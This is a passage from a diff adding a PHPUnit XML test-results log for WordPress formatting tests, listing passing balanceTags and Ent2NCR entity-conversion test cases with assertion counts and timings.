+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #7" assertions="1" time="0.002686"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #8" assertions="1" time="0.002415"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #9" assertions="1" time="0.003594"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #10" assertions="1" time="0.002964"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #11" assertions="1" time="0.002590"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #12" assertions="1" time="0.003282"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #13" assertions="1" time="0.002786"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #14" assertions="1" time="0.003869"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #15" assertions="1" time="0.003244"/>
+      </testsuite>
+      <testsuite name="Tests_Formatting_BalanceTags::test_selfcloses_basic_known_single_tags_having_closing_tag" tests="4" assertions="4" failures="0" errors="0" time="0.010277">
+        <testcase name="test_selfcloses_basic_known_single_tags_having_closing_tag with data set #0" assertions="1" time="0.002664"/>
+        <testcase name="test_selfcloses_basic_known_single_tags_having_closing_tag with data set #1" assertions="1" time="0.002949"/>
+        <testcase name="test_selfcloses_basic_known_single_tags_having_closing_tag with data set #2" assertions="1" time="0.002445"/>
+        <testcase name="test_selfcloses_basic_known_single_tags_having_closing_tag with data set #3" assertions="1" time="0.002219"/>
+      </testsuite>
+      <testsuite name="Tests_Formatting_BalanceTags::test_selfcloses_known_single_tags_having_closing_tag" tests="16" assertions="16" failures="0" errors="0" time="0.050473">
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #0" assertions="1" time="0.003070"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #1" assertions="1" time="0.002963"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #2" assertions="1" time="0.002698"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #3" assertions="1" time="0.002608"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #4" assertions="1" time="0.003362"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #5" assertions="1" time="0.003238"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #6" assertions="1" time="0.005731"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #7" assertions="1" time="0.004065"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #8" assertions="1" time="0.002722"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #9" assertions="1" time="0.002968"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #10" assertions="1" time="0.002726"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #11" assertions="1" time="0.002883"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #12" assertions="1" time="0.003001"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #13" assertions="1" time="0.002463"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #14" assertions="1" time="0.002933"/>
+        <testcase name="test_selfcloses_known_single_tags_having_closing_tag with data set #15" assertions="1" time="0.003043"/>
+      </testsuite>
+      <testcase name="test_closes_unknown_single_tags_with_closing_tag" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="76" assertions="4" time="0.003305"/>
+      <testcase name="test_closes_unclosed_single_tags_having_attributes" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="96" assertions="2" time="0.002352"/>
+      <testcase name="test_allows_validly_closed_single_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="111" assertions="4" time="0.002828"/>
+      <testcase name="test_balances_nestable_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="124" assertions="3" time="0.002625"/>
+      <testcase name="test_allows_adjacent_nestable_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="141" assertions="5" time="0.003069"/>
+      <testcase name="test_allows_immediately_nested_object_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="158" assertions="1" time="0.003216"/>
+      <testcase name="test_balances_nested_non_nestable_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="164" assertions="2" time="0.002558"/>
+      <testcase name="test_fixes_improper_closing_tag_sequence" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="179" assertions="2" time="0.002214"/>
+      <testcase name="test_adds_missing_closing_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="194" assertions="5" time="0.002199"/>
+      <testcase name="test_removes_extraneous_closing_tags" class="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" line="215" assertions="4" time="0.002520"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Date" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/date.php" fullPackage="Tests.Formatting" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Formatting_Ent2NCR" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/ent2ncr.php" fullPackage="Tests.Formatting" tests="251" assertions="251" failures="0" errors="0" time="0.635980">
+      <testsuite name="Tests_Formatting_Ent2NCR::test_converts_named_entities_to_numeric_character_references" tests="251" assertions="251" failures="0" errors="0" time="0.635980">
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #0" assertions="1" time="0.002895"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #1" assertions="1" time="0.002653"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #2" assertions="1" time="0.002512"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #3" assertions="1" time="0.002917"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #4" assertions="1" time="0.027334"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #5" assertions="1" time="0.002784"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #6" assertions="1" time="0.002309"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #7" assertions="1" time="0.001884"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #8" assertions="1" time="0.001733"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #9" assertions="1" time="0.001779"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #10" assertions="1" time="0.001893"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #11" assertions="1" time="0.002224"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #12" assertions="1" time="0.002586"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #13" assertions="1" time="0.002906"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #14" assertions="1" time="0.002221"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #15" assertions="1" time="0.002182"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #16" assertions="1" time="0.002536"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #17" assertions="1" time="0.002555"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #18" assertions="1" time="0.002299"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #19" assertions="1" time="0.002738"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #20" assertions="1" time="0.002818"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #21" assertions="1" time="0.002363"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #22" assertions="1" time="0.001900"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #23" assertions="1" time="0.001897"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #24" assertions="1" time="0.001678"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #25" assertions="1" time="0.002064"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #26" assertions="1" time="0.001974"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #27" assertions="1" time="0.002514"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #28" assertions="1" time="0.002937"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #29" assertions="1" time="0.002948"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #30" assertions="1" time="0.002149"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #31" assertions="1" time="0.002249"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #32" assertions="1" time="0.002299"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #33" assertions="1" time="0.002994"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #34" assertions="1" time="0.001999"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #35" assertions="1" time="0.001956"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #36" assertions="1" time="0.001720"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #37" assertions="1" time="0.002074"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #38" assertions="1" time="0.002750"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #39" assertions="1" time="0.003166"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #40" assertions="1" time="0.003196"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #41" assertions="1" time="0.002891"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #42" assertions="1" time="0.002754"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #43" assertions="1" time="0.002721"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #44" assertions="1" time="0.002563"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #45" assertions="1" time="0.002987"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #46" assertions="1" time="0.002750"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #47" assertions="1" time="0.002726"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #48" assertions="1" time="0.002814"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #49" assertions="1" time="0.002334"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #50" assertions="1" time="0.002445"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #51" assertions="1" time="0.002787"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #52" assertions="1" time="0.002650"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #53" assertions="1" time="0.002554"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #54" assertions="1" time="0.003038"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #55" assertions="1" time="0.002759"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #56" assertions="1" time="0.002724"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #57" assertions="1" time="0.002668"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #58" assertions="1" time="0.002540"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #59" assertions="1" time="0.002706"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #60" assertions="1" time="0.002443"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #61" assertions="1" time="0.002075"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #62" assertions="1" time="0.002163"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #63" assertions="1" time="0.002233"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #64" assertions="1" time="0.002300"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #65" assertions="1" time="0.002330"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #66" assertions="1" time="0.002741"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #67" assertions="1" time="0.002070"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #68" assertions="1" time="0.002062"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #69" assertions="1" time="0.002950"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #70" assertions="1" time="0.002450"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #71" assertions="1" time="0.002336"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #72" assertions="1" time="0.003044"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #73" assertions="1" time="0.001790"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #74" assertions="1" time="0.001781"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #75" assertions="1" time="0.003100"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #76" assertions="1" time="0.002254"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #77" assertions="1" time="0.003037"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #78" assertions="1" time="0.002378"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #79" assertions="1" time="0.002323"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #80" assertions="1" time="0.002214"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #81" assertions="1" time="0.001929"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #82" assertions="1" time="0.001969"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #83" assertions="1" time="0.001944"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #84" assertions="1" time="0.002089"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #85" assertions="1" time="0.002311"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #86" assertions="1" time="0.002660"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #87" assertions="1" time="0.002611"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #88" assertions="1" time="0.002809"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #89" assertions="1" time="0.001747"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #90" assertions="1" time="0.001557"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #91" assertions="1" time="0.001535"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #92" assertions="1" time="0.003283"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #93" assertions="1" time="0.002478"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #94" assertions="1" time="0.002217"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #95" assertions="1" time="0.002433"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #96" assertions="1" time="0.002691"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #97" assertions="1" time="0.002754"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #98" assertions="1" time="0.002808"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #99" assertions="1" time="0.002686"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #100" assertions="1" time="0.003143"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #101" assertions="1" time="0.003158"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #102" assertions="1" time="0.003568"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #103" assertions="1" time="0.002562"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #104" assertions="1" time="0.002540"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #105" assertions="1" time="0.002579"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #106" assertions="1" time="0.002648"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #107" assertions="1" time="0.002811"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #108" assertions="1" time="0.002062"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #109" assertions="1" time="0.001874"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #110" assertions="1" time="0.002015"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #111" assertions="1" time="0.002112"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #112" assertions="1" time="0.002846"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #113" assertions="1" time="0.002527"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #114" assertions="1" time="0.002445"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #115" assertions="1" time="0.002949"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #116" assertions="1" time="0.002347"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #117" assertions="1" time="0.002690"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #118" assertions="1" time="0.003006"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #119" assertions="1" time="0.002556"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #120" assertions="1" time="0.002612"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #121" assertions="1" time="0.003058"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #122" assertions="1" time="0.002869"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #123" assertions="1" time="0.002568"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #124" assertions="1" time="0.002467"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #125" assertions="1" time="0.002718"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #126" assertions="1" time="0.002623"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #127" assertions="1" time="0.002604"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #128" assertions="1" time="0.002717"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #129" assertions="1" time="0.001749"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #130" assertions="1" time="0.002350"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #131" assertions="1" time="0.002093"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #132" assertions="1" time="0.003139"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #133" assertions="1" time="0.002894"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #134" assertions="1" time="0.002694"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #135" assertions="1" time="0.002477"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #136" assertions="1" time="0.002706"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #137" assertions="1" time="0.001995"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #138" assertions="1" time="0.001676"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #139" assertions="1" time="0.001573"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #140" assertions="1" time="0.001534"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #141" assertions="1" time="0.001485"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #142" assertions="1" time="0.001590"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #143" assertions="1" time="0.001518"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #144" assertions="1" time="0.001521"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #145" assertions="1" time="0.002633"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #146" assertions="1" time="0.003170"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #147" assertions="1" time="0.002984"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #148" assertions="1" time="0.003004"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #149" assertions="1" time="0.002369"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #150" assertions="1" time="0.002383"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #151" assertions="1" time="0.002242"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #152" assertions="1" time="0.002569"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #153" assertions="1" time="0.002691"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #154" assertions="1" time="0.002351"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #155" assertions="1" time="0.002638"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #156" assertions="1" time="0.002879"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #157" assertions="1" time="0.002939"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #158" assertions="1" time="0.002879"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #159" assertions="1" time="0.002622"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #160" assertions="1" time="0.002639"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #161" assertions="1" time="0.002889"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #162" assertions="1" time="0.001991"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #163" assertions="1" time="0.002143"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #164" assertions="1" time="0.001894"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #165" assertions="1" time="0.002429"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #166" assertions="1" time="0.003078"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #167" assertions="1" time="0.003132"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #168" assertions="1" time="0.003061"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #169" assertions="1" time="0.002796"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #170" assertions="1" time="0.002716"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #171" assertions="1" time="0.002391"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #172" assertions="1" time="0.002761"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #173" assertions="1" time="0.002464"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #174" assertions="1" time="0.002531"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #175" assertions="1" time="0.002233"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #176" assertions="1" time="0.002106"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #177" assertions="1" time="0.001795"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #178" assertions="1" time="0.002124"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #179" assertions="1" time="0.002880"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #180" assertions="1" time="0.002878"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #181" assertions="1" time="0.002613"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #182" assertions="1" time="0.002262"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #183" assertions="1" time="0.002783"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #184" assertions="1" time="0.002419"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #185" assertions="1" time="0.002428"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #186" assertions="1" time="0.001831"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #187" assertions="1" time="0.001899"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #188" assertions="1" time="0.001907"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #189" assertions="1" time="0.001934"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #190" assertions="1" time="0.002653"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #191" assertions="1" time="0.003404"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #192" assertions="1" time="0.002913"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #193" assertions="1" time="0.002862"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #194" assertions="1" time="0.003105"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #195" assertions="1" time="0.002829"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #196" assertions="1" time="0.002285"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #197" assertions="1" time="0.002578"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #198" assertions="1" time="0.002667"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #199" assertions="1" time="0.002186"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #200" assertions="1" time="0.002758"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #201" assertions="1" time="0.002838"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #202" assertions="1" time="0.002221"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #203" assertions="1" time="0.002786"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #204" assertions="1" time="0.002090"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #205" assertions="1" time="0.002723"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #206" assertions="1" time="0.002384"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #207" assertions="1" time="0.002670"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #208" assertions="1" time="0.002181"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #209" assertions="1" time="0.002300"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #210" assertions="1" time="0.002779"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #211" assertions="1" time="0.001729"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #212" assertions="1" time="0.001542"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #213" assertions="1" time="0.001606"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #214" assertions="1" time="0.001534"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #215" assertions="1" time="0.001576"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #216" assertions="1" time="0.002816"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #217" assertions="1" time="0.002548"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #218" assertions="1" time="0.001983"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #219" assertions="1" time="0.002126"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #220" assertions="1" time="0.001660"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #221" assertions="1" time="0.002128"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #222" assertions="1" time="0.001674"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #223" assertions="1" time="0.002129"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #224" assertions="1" time="0.002098"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #225" assertions="1" time="0.002612"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #226" assertions="1" time="0.002163"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #227" assertions="1" time="0.002483"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #228" assertions="1" time="0.002704"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #229" assertions="1" time="0.002607"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #230" assertions="1" time="0.002396"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #231" assertions="1" time="0.002887"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #232" assertions="1" time="0.002973"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #233" assertions="1" time="0.002805"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #234" assertions="1" time="0.002353"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #235" assertions="1" time="0.002902"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #236" assertions="1" time="0.002205"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #237" assertions="1" time="0.001958"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #238" assertions="1" time="0.002154"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #239" assertions="1" time="0.001928"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #240" assertions="1" time="0.002044"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #241" assertions="1" time="0.002030"/>
+        <testcase name="test_converts_named_entities_to_numeric_character_references with data set #242" assertions="1" time="0.002221"/>
